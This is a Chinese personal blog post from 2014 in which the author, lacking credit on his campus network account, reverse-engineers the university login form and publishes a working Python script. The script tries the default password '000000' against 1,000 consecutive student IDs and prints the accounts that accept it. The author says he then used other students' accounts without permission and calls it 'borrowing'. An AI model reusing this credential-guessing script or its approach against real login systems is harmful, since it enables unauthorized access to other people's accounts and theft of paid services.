
 <!DOCTYPE HTML>
<html lang="zh-CN">
<head>
  <meta charset="UTF-8">
  
    <title>用Python模拟登录“借”上网帐号 | Jark&#39;s Blog</title>
    <meta name="viewport" content="width=device-width, initial-scale=1,user-scalable=no">
    
    <meta name="author" content="WuChong">
    
    <meta name="description" itemprop="description" content="昨天同学让我帮忙下篇论文，发现自己的校内上网帐号有一段时间没充值了。登录校园网才能下论文，无奈问了周围的人却发现都没充值！（实验室可以免费上网大家都不充值了么）。懒得去充值，就想会不会有的上网帐号还是用的默认密码？如果有的话，岂不是可以“借来”用一下！虽然有些不道德，但是为了验证心里的想法还是忍不住下手了。">
    
    
    <meta name="description" content="昨天同学让我帮忙下篇论文，发现自己的校内上网帐号有一段时间没充值了。登录校园网才能下论文，无奈问了周围的人却发现都没充值！（实验室可以免费上网大家都不充值了么）。懒得去充值，就想会不会有的上网帐号还是用的默认密码？如果有的话，岂不是可以“借来”用一下！虽然有些不道德，但是为了验证心里的想法还是忍不住下手了。">
<meta property="og:type" content="article">
<meta property="og:title" content="用Python模拟登录“借”上网帐号">
<meta property="og:url" content="http://wuchong.me/blog/2014/07/16/use-python-login-borrow-account/">
<meta property="og:site_name" content="Jark's Blog">
<meta property="og:description" content="昨天同学让我帮忙下篇论文，发现自己的校内上网帐号有一段时间没充值了。登录校园网才能下论文，无奈问了周围的人却发现都没充值！（实验室可以免费上网大家都不充值了么）。懒得去充值，就想会不会有的上网帐号还是用的默认密码？如果有的话，岂不是可以“借来”用一下！虽然有些不道德，但是为了验证心里的想法还是忍不住下手了。">
<meta property="og:image" content="http://ww1.sinaimg.cn/mw690/81b78497jw1eiepcju7vuj20yw0gogoo.jpg">
<meta property="og:image" content="http://ww2.sinaimg.cn/mw690/81b78497jw1eiepcjd6suj20yq0gswhi.jpg">
<meta property="og:image" content="http://ww2.sinaimg.cn/mw690/81b78497jw1eiepciuuumj216g0vy77n.jpg">
<meta name="twitter:card" content="summary">
<meta name="twitter:title" content="用Python模拟登录“借”上网帐号">
<meta name="twitter:description" content="昨天同学让我帮忙下篇论文，发现自己的校内上网帐号有一段时间没充值了。登录校园网才能下论文，无奈问了周围的人却发现都没充值！（实验室可以免费上网大家都不充值了么）。懒得去充值，就想会不会有的上网帐号还是用的默认密码？如果有的话，岂不是可以“借来”用一下！虽然有些不道德，但是为了验证心里的想法还是忍不住下手了。">
<meta name="twitter:creator" content="@jarkwu">
<link rel="publisher" href="111190881341800841449">

    
    <link rel="alternative" href="/atom.xml" title="Jark&#39;s Blog" type="application/atom+xml">
    
    
    <link rel="icon" href="/img/favicon.ico">
    
    
    <link rel="apple-touch-icon" href="/img/jacman.jpg">
    <link rel="apple-touch-icon-precomposed" href="/img/jacman.jpg">
    
    <link rel="stylesheet" href="/css/style.css" type="text/css">
</head>

  <body>
    <header>
      <div>
		
			<div id="imglogo">
				<a href="/"><img src="/img/logo.png" alt="Jark&#39;s Blog" title="Jark&#39;s Blog"/></a>
			</div>
			
			<div id="textlogo">
				<h1 class="site-name"><a href="/" title="Jark&#39;s Blog">Jark&#39;s Blog</a></h1>
				<h2 class="blog-motto">当你的才华还撑不起你的野心时，你就应该静下心来学习。</h2>
			</div>
			<div class="navbar"><a class="navbutton navmobile" href="#" title="菜单">
			</a></div>
			<nav class="animated">
				<ul>
					<ul>
					 
						<li><a href="/">首页</a></li>
					
						<li><a href="/archives">归档</a></li>
					
						<li><a href="/about">关于</a></li>
					
					<li>
 					
						<form class="search" action="http://zhannei.baidu.com/cse/search" target="_blank">
							<label>Search</label>
						<input name="s" type="hidden" value= 783281470518440642 ><input type="text" name="q" size="30" placeholder="搜索"><br>
						</form>
					
					</li>
				</ul>
			</nav>			
</div>
    </header>
    <div id="container">
      <div id="main" class="post" itemscope itemprop="blogPost">
  
	<article itemprop="articleBody"> 
		<header class="article-info clearfix">
  <h1 itemprop="name">
    
      <a href="/blog/2014/07/16/use-python-login-borrow-account/" title="用Python模拟登录“借”上网帐号" itemprop="url">用Python模拟登录“借”上网帐号</a>
  </h1>
  <p class="article-author">By
       
		<a href="https://plus.google.com/111190881341800841449?rel=author" title="WuChong" target="_blank" itemprop="author">WuChong</a>
		
  <p class="article-time">
    <time datetime="2014-07-16T08:22:57.000Z" itemprop="datePublished"> 发表于 2014-07-16</time>
    
  </p>
</header>
	<div class="article-content">
		
		<div id="toc" class="toc-article">
			<strong class="toc-title">文章目录</strong>
		
			<ol class="toc"><li class="toc-item toc-level-2"><a class="toc-link" href="#分析请求"><span class="toc-number">1.</span> <span class="toc-text">分析请求</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#模拟登录"><span class="toc-number">2.</span> <span class="toc-text">模拟登录</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#借帐号"><span class="toc-number">3.</span> <span class="toc-text">借帐号</span></a></li></ol>
		
		</div>
		
		<p>昨天同学让我帮忙下篇论文，发现自己的校内上网帐号有一段时间没充值了。登录校园网才能下论文，无奈问了周围的人却发现都没充值！（实验室可以免费上网大家都不充值了么）</p>
<p>懒得去充值，就想会不会有的上网帐号还是用的默认密码？如果有的话，岂不是可以“借来”用一下！虽然有些不道德，但是为了验证心里的想法还是忍不住下手了。</p>
<h2 id="分析请求">分析请求</h2>
<p>首先当然是分析登录请求啦。我们学校的校园网登录网址为<code>10.0.0.55</code>。所以用 Chrome 打开登录网页，并打开<code>开发者工具 -&gt; Network</code>，再输入用户名密码，点击登录。可以捕获到 POST 消息。</p>
<p><img src="http://ww1.sinaimg.cn/mw690/81b78497jw1eiepcju7vuj20yw0gogoo.jpg" alt=""></p>
<p>其中最重要的是两个信息，一个是 Request URL，另一个是 Form Data。前者是提交请求的网址，后者是提交的表单。表单里最重要的是 username 和 password 两个字段。后面的三个字段可以忽略。我们发现，表单中的密码是加密后提交的。会用的什么加密呢？我们去 JS 脚本里找找有什么。</p>
<p><img src="http://ww2.sinaimg.cn/mw690/81b78497jw1eiepcjd6suj20yq0gswhi.jpg" alt=""></p>
<p>在源代码的 head 标签内发现了大段的 JS 脚本，其中就有关于登录的。其实就是用了简单的 MD5 加密，并将加密结果截取了第 8 到 24 的字符。连 salt 都没有用到。</p>
<p>有了上面这些信息后，我们就可以构造请求了。这当然要拿出 Python 大法了。<br><a id="more"></a></p>
<h2 id="模拟登录">模拟登录</h2>
<p>用 Python 可以快速实现模拟登录，主要使用了 <code>requests</code> 库。</p>
<figure class="highlight"><table><tr><td class="gutter"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
</pre></td><td class="code"><pre><span class="comment">#encoding=utf8</span>
import requests

<span class="comment">###登录页的url</span>
url = <span class="string">'http://10.0.0.55/cgi-bin/do_login'</span>
<span class="comment">###有些网站反爬虫，这里用headers把程序伪装成浏览器</span>
header = { <span class="string">'User-Agent'</span> : <span class="string">'Mozilla/5.0 (Windows NT 6.1)
 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36'</span> }
<span class="comment">###登录需要提交的表单</span>
form_data = {<span class="string">'username'</span>:<span class="string">'2220130260'</span>, <span class="comment">#填入网站的上网帐号</span>
    <span class="string">'password'</span>:<span class="string">'8ad9902aecba32e2'</span>,  <span class="comment">#填入网站密码（加密后的）</span>
    <span class="string">'drop'</span>:<span class="number">0</span>,
    <span class="string">'type'</span>:<span class="number">1</span>,
    <span class="string">'n'</span>:<span class="number">100</span>
    }
s = requests.session()
response = s.post(url,data = form_data,headers = header)
<span class="keyword">print</span> response.text
</pre></td></tr></table></figure>

<p>最终读取 response 的结果，我们可以判断登录是否成功。例如，上述代码运行的结果是<code>password_error</code>。</p>
<h2 id="借帐号">借帐号</h2>
<p>有了上面的模拟登录，我们就可以把它写成脚本，遍历成百上千个帐号。其实就是用循环构造每一个表单。</p>
<p>这里密码我们使用 <code>hashlib</code> 库来完成 MD5 加密。至于上网帐号，一般都是用学生学号作为上网帐号的，就拿最小的 13 级本科生开刀吧（谁让你们年少无知呢，记得改密码）。像 13 级本科生的学校是 <code>112013</code> 开头，我们就循环前 1000 个学生。</p>
<p>直接给出脚本代码吧！</p>
<figure class="highlight"><table><tr><td class="gutter"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
</pre></td><td class="code"><pre><span class="comment">#encoding=utf8</span>
import requests
import hashlib

<span class="comment">###登录页的url</span>
url = <span class="string">'http://10.0.0.55/cgi-bin/do_login'</span>
<span class="comment">###有些网站反爬虫，这里用headers把程序伪装成浏览器</span>
header = { <span class="string">'User-Agent'</span> <span class="symbol">:</span> <span class="string">'Mozilla/5.0 (Windows NT 6.1)
 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36'</span> }

<span class="function"><span class="keyword">def</span> </span>md5(str)<span class="symbol">:</span>
    m = hashlib.md5()
    m.update(str)
    <span class="keyword">return</span> m.hexdigest()

<span class="function"><span class="keyword">def</span> </span>login(form_data)<span class="symbol">:</span>
    s = requests.session()
    <span class="comment">#发出请请求</span>
    response = s.post(url,data = form_data,headers = header)
    <span class="keyword">return</span> response.content

<span class="function"><span class="keyword">def</span> </span>tryAccount(id_start,id_end,default_pass)<span class="symbol">:</span>
    <span class="comment">###登录需要提交的表单</span>
    form_data = {<span class="string">'username'</span><span class="symbol">:<span class="string">'XXXXXX'</span></span>, <span class="comment">#填入网站的用户名</span>
        <span class="string">'password'</span><span class="symbol">:<span class="string">'XXXXXX'</span></span>,  <span class="comment">#填入网站密码（加密后的）</span>
        <span class="string">'drop'</span><span class="symbol">:</span><span class="number">0</span>,
        <span class="string">'type'</span><span class="symbol">:</span><span class="number">1</span>,
        <span class="string">'n'</span><span class="symbol">:</span><span class="number">100</span>
    }
    
    passwd = md5(default_pass)[<span class="number">8</span><span class="symbol">:</span><span class="number">24</span>]
    form_data[<span class="string">'password'</span>] = passwd      <span class="comment">#将加密后的密码填入表单</span>

    <span class="keyword">for</span> i <span class="keyword">in</span> range(id_start,id_end)<span class="symbol">:</span>
        form_data[<span class="string">'username'</span>] = str(i)  <span class="comment">#将用户名填入表单</span>
        result = login(form_data)       <span class="comment">#登录，获取返回的 response 结果</span>
        <span class="keyword">if</span> result != <span class="string">'password_error'</span> <span class="keyword">and</span> result != <span class="string">'username_error'</span><span class="symbol">:</span>
            print str(i)+<span class="string">"\t"</span>+result        <span class="comment">#打印账号、密码正确的学号...</span>
    print <span class="string">"\n上网不涉密，涉密不上网"</span>

<span class="keyword">if</span> __name_<span class="number">_</span> == <span class="string">"__main__"</span><span class="symbol">:</span>
    <span class="constant">ID_START</span> = <span class="number">1120130000</span>   <span class="comment">#起始学号</span>
    <span class="constant">ID_END</span> = <span class="number">1120131000</span>     <span class="comment">#结束学号</span>
    <span class="constant">DEFAULT_PASS</span> = <span class="string">"000000"</span> <span class="comment">#初始密码</span>
    tryAccount(<span class="constant">ID_START</span>,<span class="constant">ID_END</span>,<span class="constant">DEFAULT_PASS</span>)
</pre></td></tr></table></figure>

<p>运行脚本后得到如图。</p>
<p><img src="http://ww2.sinaimg.cn/mw690/81b78497jw1eiepciuuumj216g0vy77n.jpg" alt=""></p>
<p>显示的帐号都是用的默认密码的。返回的 response 结果中<code>status_error</code> 表示没充钱，<code>ip_exist_error</code>表示 IP 尚未下线。显示一串数字的就是可以直接登录的了！记得把帐号还给人家。</p>
<p>虽然最后还是没有下到论文，不过作为程序猿能把自己的想法用所学的实现了想想还是有些小激动的。</p>
<p>PS：发现研究生不改密码的比本科生还多，为什么呢？</p>
<p>-EOF-</p>
  
	</div>
		<footer class="article-footer clearfix">
<div class="article-catetags">

<div class="article-categories">
  <span></span>
  <a class="article-category-link" href="/categories/Python/">Python</a>
</div>


  <div class="article-tags">
  
  <span></span> <a href="/tags/Python/">Python</a><a href="/tags/模拟登录/">模拟登录</a>
  </div>

</div>



	<div class="article-share" id="share">
	
	  <div data-url="http://wuchong.me/blog/2014/07/16/use-python-login-borrow-account/" data-title="用Python模拟登录“借”上网帐号 | Jark&#39;s Blog" data-tsina="2176287895" class="share clearfix">
	  </div>
	
	</div>


</footer>

   	       
	</article>
	
<nav class="article-nav clearfix">
 
 <div class="prev" >
 <a href="/blog/2014/07/19/linux-file-system/" title="Linux基础：文件系统">
  <strong>上一篇：</strong><br/>
  <span>
  Linux基础：文件系统</span>
</a>
</div>


<div class="next">
<a href="/blog/2014/07/15/linux-permission-and-file/"  title="Linux基础：权限与文件">
 <strong>下一篇：</strong><br/> 
 <span>Linux基础：权限与文件
</span>
</a>
</div>

</nav>

	
<section id="comments" class="comment">
	<div class="ds-thread" data-thread-key="blog/2014/07/16/use-python-login-borrow-account/" data-title="用Python模拟登录“借”上网帐号" data-url="http://wuchong.me/blog/2014/07/16/use-python-login-borrow-account/"></div>
</section>


</div>  
      <div class="openaside"><a class="navbutton" href="#" title="显示侧边栏"></a></div>

<div id="asidepart">
<div class="closeaside"><a class="closebutton" href="#" title="隐藏侧边栏"></a></div>
<aside class="clearfix">

  
<div class="categorieslist">
	<p class="asidetitle">分类</p>
		<ul>
		
			<li><a href="/categories/Hexo/" title="Hexo">Hexo<sup>7</sup></a></li>
		
			<li><a href="/categories/LinuxUnix/" title="Linux/Unix">Linux/Unix<sup>6</sup></a></li>
		
			<li><a href="/categories/Python/" title="Python">Python<sup>3</sup></a></li>
		
			<li><a href="/categories/推荐系统/" title="推荐系统">推荐系统<sup>3</sup></a></li>
		
			<li><a href="/categories/杂项资源/" title="杂项资源">杂项资源<sup>2</sup></a></li>
		
			<li><a href="/categories/程序设计/" title="程序设计">程序设计<sup>5</sup></a></li>
		
			<li><a href="/categories/系统架构/" title="系统架构">系统架构<sup>1</sup></a></li>
		
			<li><a href="/categories/编程语言/" title="编程语言">编程语言<sup>2</sup></a></li>
		
			<li><a href="/categories/职场生涯/" title="职场生涯">职场生涯<sup>2</sup></a></li>
		
			<li><a href="/categories/随笔生活/" title="随笔生活">随笔生活<sup>5</sup></a></li>
		
		</ul>
</div>


  
<div class="tagslist">
	<p class="asidetitle">标签</p>
		<ul class="clearfix">
		
			<li><a href="/tags/Hexo/" title="Hexo">Hexo<sup>8</sup></a></li>
		
			<li><a href="/tags/面试/" title="面试">面试<sup>5</sup></a></li>
		
			<li><a href="/tags/Linux基础/" title="Linux基础">Linux基础<sup>5</sup></a></li>
		
			<li><a href="/tags/生活/" title="生活">生活<sup>4</sup></a></li>
		
			<li><a href="/tags/博客/" title="博客">博客<sup>4</sup></a></li>
		
			<li><a href="/tags/Python/" title="Python">Python<sup>4</sup></a></li>
		
			<li><a href="/tags/阿里推荐大赛/" title="阿里推荐大赛">阿里推荐大赛<sup>4</sup></a></li>
		
			<li><a href="/tags/算法/" title="算法">算法<sup>2</sup></a></li>
		
			<li><a href="/tags/爬虫/" title="爬虫">爬虫<sup>2</sup></a></li>
		
			<li><a href="/tags/ODPS/" title="ODPS">ODPS<sup>2</sup></a></li>
		
			<li><a href="/tags/教程/" title="教程">教程<sup>2</sup></a></li>
		
			<li><a href="/tags/Jacman/" title="Jacman">Jacman<sup>2</sup></a></li>
		
			<li><a href="/tags/Java/" title="Java">Java<sup>2</sup></a></li>
		
			<li><a href="/tags/文件系统/" title="文件系统">文件系统<sup>2</sup></a></li>
		
			<li><a href="/tags/启动流程/" title="启动流程">启动流程<sup>1</sup></a></li>
		
			<li><a href="/tags/权限/" title="权限">权限<sup>1</sup></a></li>
		
			<li><a href="/tags/正则表达式/" title="正则表达式">正则表达式<sup>1</sup></a></li>
		
			<li><a href="/tags/jQuery/" title="jQuery">jQuery<sup>1</sup></a></li>
		
			<li><a href="/tags/双检锁/" title="双检锁">双检锁<sup>1</sup></a></li>
		
			<li><a href="/tags/设计模式/" title="设计模式">设计模式<sup>1</sup></a></li>
		
		</ul>
</div>


  <div class="linkslist">
  <p class="asidetitle">友情链接</p>
    <ul>
        
          <li>
            <a href="https://coderq.com" target="_blank" title="码农圈">码农圈</a>
          </li>
        
          <li>
            <a href="http://zipperary.com/" target="_blank" title="Zippera&#39;s Blog">Zippera&#39;s Blog</a>
          </li>
        
          <li>
            <a href="http://hijiangtao.github.io/" target="_blank" title="Data.Blog">Data.Blog</a>
          </li>
        
    </ul>
</div>

  <div class="weiboshow">
  <p class="asidetitle">新浪微博</p>
    <iframe width="100%" height="119" class="share_self"  frameborder="0" scrolling="no" src="http://widget.weibo.com/weiboshow/index.php?language=&width=0&height=119&fansRow=2&ptype=1&speed=0&skin=9&isTitle=1&noborder=1&isWeibo=0&isFans=0&uid=2176287895&verifier=b3593ceb&dpc=1"></iframe>
</div>


  <div class="rsspart">
	<a href="/atom.xml" target="_blank" title="rss">RSS 订阅</a>
</div>

</aside>
</div>
    </div>
    <footer><div id="footer" >
	
	<div class="line">
		<span></span>
		<div class="author"></div>
	</div>
	
	
	<section class="info">
		<p> Hello,I&#39;m WuChong. For now I&#39;m a graduate student in Beijing. <br/>
			I&#39;ll share my learning experience with you at this blog.</p>
	</section>
	 
	<div class="social-font" class="clearfix">
		
		<a href="http://weibo.com/wuchong1014" target="_blank" class="icon-weibo" title="微博"></a>
		
		
		<a href="https://github.com/wuchong" target="_blank" class="icon-github" title="github"></a>
		
		
		
		<a href="https://twitter.com/jarkwu" target="_blank" class="icon-twitter" title="twitter"></a>
		
		
		
		
		
		
		<a href="https://plus.google.com/111190881341800841449?rel=author" target="_blank" class="icon-google_plus" title="Google+"></a>
		
		
	</div>
		<p class="copyright">Powered by <a href="http://zespia.tw/hexo/" target="_blank" title="hexo">hexo</a> and Theme by <a href="https://github.com/wuchong/jacman" target="_blank" title="Pacman">Jacman</a> © 2014 
		
		<a href="http://wuchong.me/about" target="_blank" title="WuChong">WuChong</a>
		
		</p>
</div>
</footer>
    <script src="/js/jquery-2.0.3.min.js"></script>
<script src="/js/jquery.imagesloaded.min.js"></script>
<script src="/js/gallery.js"></script>

<script type="text/javascript">
$(document).ready(function(){ 
  $('.navbar').click(function(){
    $('header nav').toggleClass('shownav');
  });
  var myWidth = 0;
  function getSize(){
    if( typeof( window.innerWidth ) == 'number' ) {
      myWidth = window.innerWidth;
    } else if( document.documentElement && document.documentElement.clientWidth) {
      myWidth = document.documentElement.clientWidth;
    };
  };
  var m = $('#main'),
      a = $('#asidepart'),
      c = $('.closeaside'),
      o = $('.openaside');
  $(window).resize(function(){
    getSize(); 
    if (myWidth >= 1024) {
      $('header nav').removeClass('shownav');
    }else
    {
      m.removeClass('moveMain');
      a.css('display', 'block').removeClass('fadeOut');
      o.css('display', 'none');
        
    }
  });
  c.click(function(){
    a.addClass('fadeOut').css('display', 'none');
    o.css('display', 'block').addClass('fadeIn');
    m.addClass('moveMain');
  });
  o.click(function(){
    o.css('display', 'none').removeClass('beforeFadeIn');
    a.css('display', 'block').removeClass('fadeOut').addClass('fadeIn');      
    m.removeClass('moveMain');
  });
  $(window).scroll(function(){
    o.css("top",Math.max(80,260-$(this).scrollTop()));
  });
});
</script>

<script type="text/javascript">
$(document).ready(function(){ 
  var ai = $('.article-content>iframe'),
      ae = $('.article-content>embed'),
      t  = $('#toc'),
      h  = $('article h2')
      ah = $('article h2'),
      ta = $('#toc.toc-aside'),
      o  = $('.openaside'),
      c  = $('.closeaside');
  if(ai.length>0){
    ai.wrap('<div class="video-container" />');
  };
  if(ae.length>0){
   ae.wrap('<div class="video-container" />');
  };
  if(ah.length==0){
    t.css('display','none');
  }else{
    c.click(function(){
      ta.css('display', 'block').addClass('fadeIn');
    });
    o.click(function(){
      ta.css('display', 'none');
    });
    $(window).scroll(function(){
      ta.css("top",Math.max(140,320-$(this).scrollTop()));
    });
  };
});
</script>


<script type="text/javascript">
$(document).ready(function(){ 
  var $this = $('.share'),
      url = $this.attr('data-url'),
      encodedUrl = encodeURIComponent(url),
      title = $this.attr('data-title'),
      tsina = $this.attr('data-tsina'),
      description = $this.attr('description');
  var html = [
  '<a href="#" class="overlay" id="qrcode"></a>',
  '<div class="qrcode clearfix"><span>扫描二维码分享到微信朋友圈</span><a class="qrclose" href="#nothing"></a><strong>Loading...Please wait</strong><img id="qrcode-pic" data-src="http://s.jiathis.com/qrcode.php?url=' + encodedUrl + '"/></div>',
  '<a href="https://www.facebook.com/sharer.php?u=' + encodedUrl + '" class="article-share-facebook" target="_blank" title="Facebook"></a>',
  '<a href="https://twitter.com/intent/tweet?url=' + encodedUrl + '" class="article-share-twitter" target="_blank" title="Twitter"></a>',
  '<a href="#qrcode" class="article-share-qrcode" title="微信"></a>',
  '<a href="http://widget.renren.com/dialog/share?resourceUrl=' + encodedUrl + '&srcUrl=' + encodedUrl + '&title=' + title +'" class="article-share-renren" target="_blank" title="人人"></a>',
  '<a href="http://service.weibo.com/share/share.php?title='+title+'&url='+encodedUrl +'&ralateUid='+ tsina +'&searchPic=true&style=number' +'" class="article-share-weibo" target="_blank" title="微博"></a>',
  '<span title="Share to"></span>'
  ].join('');
  $this.append(html);
  $('.article-share-qrcode').click(function(){
    var imgSrc = $('#qrcode-pic').attr('data-src');
    $('#qrcode-pic').attr('src', imgSrc);
    $('#qrcode-pic').load(function(){
        $('.qrcode strong').text(' ');
    });
  });
});     
</script>



<script type="text/javascript">
  var duoshuoQuery = {short_name:"wuchong"};
  (function() {
    var ds = document.createElement('script');
    ds.type = 'text/javascript';ds.async = true;
    ds.src = '//static.duoshuo.com/embed.js';
    ds.charset = 'UTF-8';
    (document.getElementsByTagName('head')[0] 
    || document.getElementsByTagName('body')[0]).appendChild(ds);
  })();
</script> 







<link rel="stylesheet" href="/fancybox/jquery.fancybox.css" media="screen" type="text/css">
<script src="/fancybox/jquery.fancybox.pack.js"></script>
<script type="text/javascript">
$(document).ready(function(){ 
  $('.article-content').each(function(i){
    $(this).find('img').each(function(){
      if ($(this).parent().hasClass('fancybox')) return;
      var alt = this.alt;
      if (alt) $(this).after('<span class="caption">' + alt + '</span>');
      $(this).wrap('<a href="' + this.src + '" title="' + alt + '" class="fancybox"></a>');
    });
    $(this).find('.fancybox').each(function(){
      $(this).attr('rel', 'article' + i);
    });
  });
  if($.fancybox){
    $('.fancybox').fancybox();
  }
}); 
</script>



<!-- Analytics Begin -->

<script type="text/javascript">
(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
  (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
  m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
})(window,document,'script','//www.google-analytics.com/analytics.js','ga');
ga('create', 'UA-46321946-2', 'wuchong.me');  
ga('send', 'pageview');
</script>





<!-- Analytics End -->

<!-- Totop Begin -->

	<div id="totop">
	<a title="返回顶部"><img src="/img/scrollup.png"/></a>
	</div>
	<script src="/js/totop.js"></script>

<!-- Totop End -->

<!-- MathJax Begin -->
<!-- mathjax config similar to math.stackexchange -->


<!-- MathJax End -->

  </body>
</html>
